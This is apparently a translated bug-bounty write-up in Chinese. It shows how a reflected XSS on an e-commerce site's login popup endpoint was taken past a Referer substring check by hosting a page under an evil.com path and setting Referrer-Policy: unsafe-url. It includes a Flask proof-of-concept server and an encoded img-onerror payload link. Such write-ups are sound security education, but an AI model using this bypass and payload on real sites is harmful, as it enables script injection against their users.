巧妙绕过 Referer 来源验证
在对一个电商网站进行安全测试时,白帽小哥发现了一处接口,它会将用户传入的参数值,未经任何处理就直接显示在返回的页面内容中。
具体来说,就在 /ajax/popup_login_bootstrap.php
这个接口中,通过 source_url
参数发现了一处反射型 XSS (跨站脚本攻击) 漏洞。
从上图可以清楚地看到,source_url
参数的值被原封不动地呈现在了响应页面里。
当尝试将请求的 Referer
头从合法的 www.target.co.uk
修改为 www.target.couk
时,服务器返回了 403 Forbidden
错误,拒绝了请求。
这说明服务器后台正在检查 Referer
头部,要求其中必须包含 www.target.co.uk
字符串。
在目前这种情况下,这最多算是一个 Self-XSS 漏洞,也就是说,我们只能对自己执行 XSS 攻击,无法影响到其它用户。
那么,我们该如何将其升级成一个真正有威胁的漏洞呢?
Self-XSS 的华丽变身
要完成整个攻击链,白帽小哥采取了以下几个步骤:
-
搭建一个 Python Flask 服务器,用它来托管一个我们精心构造的恶意页面。这个页面的 URL 设置为
evil.com/target.co.uk/exploit.html
。这样做是为了让 URL 中包含target.co.uk
字符串,从而满足服务器对Referer
的验证规则 -
关键一步:在我们搭建的“恶意服务器”上,设置一个特殊的 HTTP 响应头:
Referrer-Policy: unsafe-url
,这个设置能确保当用户从我们的恶意页面跳转时,浏览器会在Referer
头部发送完整的、未经删减的 URL -
诱导用户访问我们的恶意页面,一旦用户点击页面上的链接,他们就会被自动重定向到目标网站存在漏洞的接口,从而成功触发 XSS 攻击
解读 Referrer-Policy
响应头
HTTP 的 Referrer-Policy
响应头,是用来控制浏览器在跨域请求时,应该在 Referer
头部中包含多少引荐来源信息的策略。
它可以被设置为多种不同的值,例如:
- Referrer-Policy: no-referrer
- Referrer-Policy: no-referrer-when-downgrade
- Referrer-Policy: origin
- Referrer-Policy: origin-when-cross-origin
- Referrer-Policy: same-origin
- Referrer-Policy: strict-origin
- Referrer-Policy: strict-origin-when-cross-origin
- Referrer-Policy: unsafe-url
在我们的攻击场景中,目标是让 Referer
头部完整地包含我们的恶意 URL (evil.com/target.co.uk/exploit.html
),因此,我们必须选择 unsafe-url
这个策略。
PoC (概念验证) 代码
使用下面这段简单的 Flask 代码快速搭建了恶意服务器:
import requests
from bs4 import BeautifulSoup
import re
from urllib.parse import parse_qs, urlencode
from flask import Flask, make_response, jsonify, request, render_template
from flask_cors import CORS
from flask import Flask, render_template
app = Flask(__name__)
# 为两个不同的路径注册同一个处理函数
@app.route('/')
@app.route('/target.co.uk/evil.html')
def index():
# 渲染 xss.html 模板文件
response = make_response(render_template('xss.html', the_title='XSS POC'))
# 设置关键的响应头
response.headers["Referrer-Policy"] = 'unsafe-url'
return response
这段代码的作用是,当用户访问 /target.co.uk/evil.html
这个路径时,服务器会返回 xss.html
页面的内容。
而 xss.html
文件中则包含了真正的攻击链接:
<a href="https://www.target.co.uk/ajax/popup_login_bootstrap.php?source_url=%27%22%3e%3c%69%6d%67%20%73%72%63%3d%78%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%64%6f%6d%61%69%6e%29%20%2f%3e">点我触发攻击</a>
为了让这个攻击能够在互联网上被访问到,可以使用 ngrok
工具,将本地的恶意服务器暴露在公网上。
从上图可以看到,我们服务器的响应头中,Referrer-Policy
确实已经被设置为了 unsafe-url
。
当受害者点击我们页面上的链接时,浏览器会将完整的 Referer
头部 (evil.com/target.co.uk/evil.html
) 发送到目标服务器。
由于这个 URL 满足了其正则表达式的检查规则,服务器返回了 200 OK
的正常响应。
最终,我们的 XSS 攻击载荷 (payload) 被未经任何编码地插入到返回页面中,成功执行!
你学到了么?
原文:https://infosecwriteups.com/transforming-self-xss-to-exploitable-xss-part-1-9f2d0f94f807